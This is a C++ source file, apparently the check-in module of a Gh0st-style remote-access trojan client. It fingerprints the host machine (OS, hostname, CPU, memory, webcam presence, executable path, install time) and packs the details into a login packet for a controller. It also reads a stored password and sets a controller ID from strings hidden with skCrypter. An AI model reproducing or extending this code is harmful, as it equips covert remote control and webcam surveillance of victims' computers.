316 lines
8.6 KiB
C++
316 lines
8.6 KiB
C++
#include "StdAfx.h"
|
||
#include "LoginServer.h"
|
||
#include "Common.h"
|
||
#include <string>
|
||
#include <iostream>
|
||
#include <iomanip>
|
||
#include <ctime>
|
||
#include <NTSecAPI.h>
|
||
#include "common/skCrypter.h"
|
||
|
||
// by ChatGPT
|
||
bool IsWindows11() {
|
||
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||
|
||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||
if (hMod) {
|
||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||
if (rtlGetVersion) {
|
||
rtlGetVersion(&rovi);
|
||
return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000);
|
||
}
|
||
}
|
||
return false;
|
||
}
|
||
|
||
/************************************************************************
|
||
---------------------
|
||
作者：IT1995
|
||
来源：CSDN
|
||
原文：https://blog.csdn.net/qq78442761/article/details/64440535
|
||
版权声明：本文为博主原创文章，转载请附上博文链接！
|
||
修改说明：2019.3.29由袁沅祥修改
|
||
************************************************************************/
|
||
std::string getSystemName()
|
||
{
|
||
std::string vname("未知操作系统");
|
||
//先判断是否为win8.1或win10
|
||
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
||
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||
if (hinst == NULL)
|
||
{
|
||
return vname;
|
||
}
|
||
if (IsWindows11()) {
|
||
vname = "Windows 11";
|
||
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
||
return vname;
|
||
}
|
||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||
if (proc==NULL)
|
||
{
|
||
return vname;
|
||
}
|
||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||
{
|
||
vname = "Windows 8.1";
|
||
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
||
return vname;
|
||
}
|
||
if (dwMajor == 10 && dwMinor == 0) //win 10
|
||
{
|
||
vname = "Windows 10";
|
||
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
||
return vname;
|
||
}
|
||
//下面不能判断Win Server，因为本人还未有这种系统的机子，暂时不给出
|
||
|
||
//判断win8.1以下的版本
|
||
SYSTEM_INFO info; //用SYSTEM_INFO结构判断64位AMD处理器
|
||
GetSystemInfo(&info); //调用GetSystemInfo函数填充结构
|
||
OSVERSIONINFOEX os;
|
||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||
if (GetVersionEx((OSVERSIONINFO *)&os))
|
||
{
|
||
//下面根据版本信息判断操作系统名称
|
||
switch (os.dwMajorVersion)
|
||
{ //判断主版本号
|
||
case 4:
|
||
switch (os.dwMinorVersion)
|
||
{ //判断次版本号
|
||
case 0:
|
||
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
|
||
vname ="Windows NT 4.0"; //1996年7月发布
|
||
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
|
||
vname = "Windows 95";
|
||
break;
|
||
case 10:
|
||
vname ="Windows 98";
|
||
break;
|
||
case 90:
|
||
vname = "Windows Me";
|
||
break;
|
||
}
|
||
break;
|
||
case 5:
|
||
switch (os.dwMinorVersion)
|
||
{ //再比较dwMinorVersion的值
|
||
case 0:
|
||
vname = "Windows 2000"; //1999年12月发布
|
||
break;
|
||
case 1:
|
||
vname = "Windows XP"; //2001年8月发布
|
||
break;
|
||
case 2:
|
||
if (os.wProductType == VER_NT_WORKSTATION &&
|
||
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
|
||
vname = "Windows XP Professional x64 Edition";
|
||
else if (GetSystemMetrics(SM_SERVERR2) == 0)
|
||
vname = "Windows Server 2003"; //2003年3月发布
|
||
else if (GetSystemMetrics(SM_SERVERR2) != 0)
|
||
vname = "Windows Server 2003 R2";
|
||
break;
|
||
}
|
||
break;
|
||
case 6:
|
||
switch (os.dwMinorVersion)
|
||
{
|
||
case 0:
|
||
if (os.wProductType == VER_NT_WORKSTATION)
|
||
vname = "Windows Vista";
|
||
else
|
||
vname = "Windows Server 2008"; //服务器版本
|
||
break;
|
||
case 1:
|
||
if (os.wProductType == VER_NT_WORKSTATION)
|
||
vname = "Windows 7";
|
||
else
|
||
vname = "Windows Server 2008 R2";
|
||
break;
|
||
case 2:
|
||
if (os.wProductType == VER_NT_WORKSTATION)
|
||
vname = "Windows 8";
|
||
else
|
||
vname = "Windows Server 2012";
|
||
break;
|
||
}
|
||
break;
|
||
default:
|
||
vname = "未知操作系统";
|
||
}
|
||
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
||
}
|
||
else
|
||
Mprintf("版本获取失败\n");
|
||
return vname;
|
||
}
|
||
|
||
std::string formatTime(const FILETIME& fileTime) {
|
||
// 转换为 64 位时间
|
||
ULARGE_INTEGER ull;
|
||
ull.LowPart = fileTime.dwLowDateTime;
|
||
ull.HighPart = fileTime.dwHighDateTime;
|
||
|
||
// 转换为秒级时间戳
|
||
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
||
|
||
// 格式化输出
|
||
std::tm* localTime = std::localtime(&startTime);
|
||
char buffer[100];
|
||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
||
return std::string(buffer);
|
||
}
|
||
|
||
std::string getProcessTime() {
|
||
FILETIME creationTime, exitTime, kernelTime, userTime;
|
||
|
||
// 获取当前进程的时间信息
|
||
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
||
return formatTime(creationTime);
|
||
}
|
||
std::time_t now = std::time(nullptr);
|
||
std::tm* t = std::localtime(&now);
|
||
char buffer[100];
|
||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
||
return buffer;
|
||
}
|
||
|
||
int getOSBits() {
|
||
SYSTEM_INFO si;
|
||
GetNativeSystemInfo(&si);
|
||
|
||
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
|
||
return 64;
|
||
}
|
||
else {
|
||
return 32;
|
||
}
|
||
}
|
||
|
||
// 检查CPU核心数
|
||
// SYSTEM_INFO.dwNumberOfProcessors
|
||
int GetCPUCores()
|
||
{
|
||
INT i = 0;
|
||
#ifdef _WIN64
|
||
// 在 x64 下，我们需要使用 `NtQuerySystemInformation`
|
||
SYSTEM_INFO sysInfo;
|
||
GetSystemInfo(&sysInfo);
|
||
i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数
|
||
#else
|
||
_asm { // x64编译模式下不支持__asm的汇编嵌入
|
||
mov eax, dword ptr fs : [0x18] ; // TEB
|
||
mov eax, dword ptr ds : [eax + 0x30] ; // PEB
|
||
mov eax, dword ptr ds : [eax + 0x64] ;
|
||
mov i, eax;
|
||
}
|
||
#endif
|
||
Mprintf("此计算机CPU核心: %d\n", i);
|
||
return i;
|
||
}
|
||
|
||
double GetMemorySizeGB() {
|
||
_MEMORYSTATUSEX mst;
|
||
mst.dwLength = sizeof(mst);
|
||
GlobalMemoryStatusEx(&mst);
|
||
double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024);
|
||
Mprintf("此计算机内存: %fGB\n", GB);
|
||
return GB;
|
||
}
|
||
|
||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||
{
|
||
LOGIN_INFOR LoginInfor;
|
||
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
||
//获得操作系统信息
|
||
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||
|
||
//获得PCName
|
||
char szPCName[MAX_PATH] = {0};
|
||
gethostname(szPCName, MAX_PATH);
|
||
|
||
DWORD dwCPUMHz;
|
||
dwCPUMHz = CPUClockMHz();
|
||
|
||
BOOL bWebCamIsExist = WebCamIsExist();
|
||
|
||
memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
|
||
LoginInfor.dwSpeed = dwSpeed;
|
||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||
LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型
|
||
LoginInfor.AddReserved(getOSBits()); // 系统位数
|
||
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
|
||
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
|
||
char buf[_MAX_PATH] = {};
|
||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||
LoginInfor.AddReserved(buf); // 文件路径
|
||
LoginInfor.AddReserved("?"); // test
|
||
std::string installTime;
|
||
auto b = ReadAppSettingA("install_time", installTime);
|
||
if (!b || installTime.empty()) {
|
||
installTime = ToPekingTimeAsString(nullptr);;
|
||
WriteAppSettingA("install_time", installTime);
|
||
}
|
||
LoginInfor.AddReserved(installTime.c_str()); // 安装时间
|
||
LoginInfor.AddReserved("?"); // 安装信息
|
||
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
|
||
std::string str;
|
||
#ifndef _DEBUG
|
||
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
||
if (hMutex != NULL) {
|
||
CloseHandle(hMutex);
|
||
#else
|
||
{
|
||
#endif
|
||
GET_FILEPATH(buf, "settings.ini");
|
||
char auth[_MAX_PATH] = { 0 };
|
||
GetPrivateProfileStringA("settings", "Password", "", auth, sizeof(auth), buf);
|
||
str = std::string(auth);
|
||
str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
|
||
auto list = StringToVector(str, '-', 3);
|
||
str = list[1];
|
||
}
|
||
LoginInfor.AddReserved(str.c_str()); // 授权信息
|
||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||
std::string masterHash(skCrypt(MASTER_HASH));
|
||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||
return LoginInfor;
|
||
}
|
||
|
||
|
||
DWORD CPUClockMHz()
|
||
{
|
||
HKEY hKey;
|
||
DWORD dwCPUMHz;
|
||
DWORD dwReturn = sizeof(DWORD);
|
||
DWORD dwType = REG_DWORD;
|
||
RegOpenKey(HKEY_LOCAL_MACHINE,
|
||
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
|
||
RegCloseKey(hKey);
|
||
return dwCPUMHz;
|
||
}
|
||
|
||
BOOL WebCamIsExist()
|
||
{
|
||
BOOL bOk = FALSE;
|
||
|
||
char szDeviceName[100], szVer[50];
|
||
for (int i = 0; i < 10 && !bOk; ++i)
|
||
{
|
||
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
|
||
//系统的API函数
|
||
szVer, sizeof(szVer));
|
||
}
|
||
return bOk;
|
||
}
|